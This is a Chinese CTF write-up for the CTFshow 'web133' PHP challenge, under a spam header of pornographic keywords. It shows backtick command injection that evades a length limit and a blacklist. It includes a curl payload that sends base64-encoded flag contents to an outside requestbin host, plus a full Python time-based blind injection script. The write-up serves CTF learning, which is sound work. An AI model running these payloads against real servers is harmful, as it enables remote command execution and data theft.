日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > php >内容正文

php

CTFshow php特性 web133

發(fā)布時(shí)間:2025/4/16 php 19 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTFshow php特性 web133 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

目錄

  • 源碼
  • 思路
  • 題解
    • 0x00 解法一 curl帶出
    • 0x01 解法二
  • 總結(jié)


源碼

<?php/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 16:43:44*/error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6個(gè)字母都還不夠呀?!");} }

思路

這題長(zhǎng)度限制是6,能執(zhí)行命令的只有``,``相當(dāng)于shell_exec(),是沒(méi)有回顯的 ?F=`$F`; =?F=``$F`;`; //第一次的$F是php變量,第二次的$F屬于shell里的,所以不會(huì)無(wú)限套娃,里面`$F`;在shell里執(zhí)行為空,linux里``也不回顯,也不存在$F變量,沒(méi)有任何輸出

同理,如果超出長(zhǎng)度限制的也會(huì)執(zhí)行出來(lái),要讓前面的長(zhǎng)度為6才行,可以補(bǔ)一個(gè)空格

?F=`$F%20`; //長(zhǎng)度為6 ?F=`$F%20`;sleep 5 //延遲5秒 =?F=``$F%20`;sleep 5`

有vps的可以curl帶出

curl your_ip:port/?q=cat flag.php| grep 'flag'

或者也可以用dnslog

這里用的是bash盲注

題解

0x00 解法一 curl帶出

工具鏈接:

https://requestbin.net/

?F=`$F `; curl https://requestbin.net/r/hesv65ex?p=`cat flag.php| grep flag | base64


base64解碼拿到flag

0x01 解法二

下面放上Y1ng寫的bash盲注腳本,不過(guò)讀flag的時(shí)候失敗了,用 base64編碼后也不行,最后用了 grep ‘flag’才正常

exp

#!/usr/bin/env python3 #-*- coding:utf-8 -*- #__author__: 穎奇L'Amore www.gem-love.comimport requests import time as t from urllib.parse import quote as urlen url = 'http://2505541e-7bbc-4055-b36b-00c8454b850e.challenge.ctf.show/?F=`$F%20`;' alphabet = ['{','}', '.', '@', '-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']result = '' for i in range(1,50):for char in alphabet:# payload = "if [ `ls | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.phppayload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)# data = {'cmd':payload}try:start = int(t.time())r = requests.get(url+payload)# r = requests.post(url, data=data)end = int(t.time()) - startif end >= 3: result += charprint("Flag: "+result)breakexcept Exception as e:print(e)


發(fā)現(xiàn)循環(huán)次數(shù)不夠 再跑了一下


總結(jié)

新姿勢(shì)

總結(jié)

以上是生活随笔為你收集整理的CTFshow php特性 web133的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。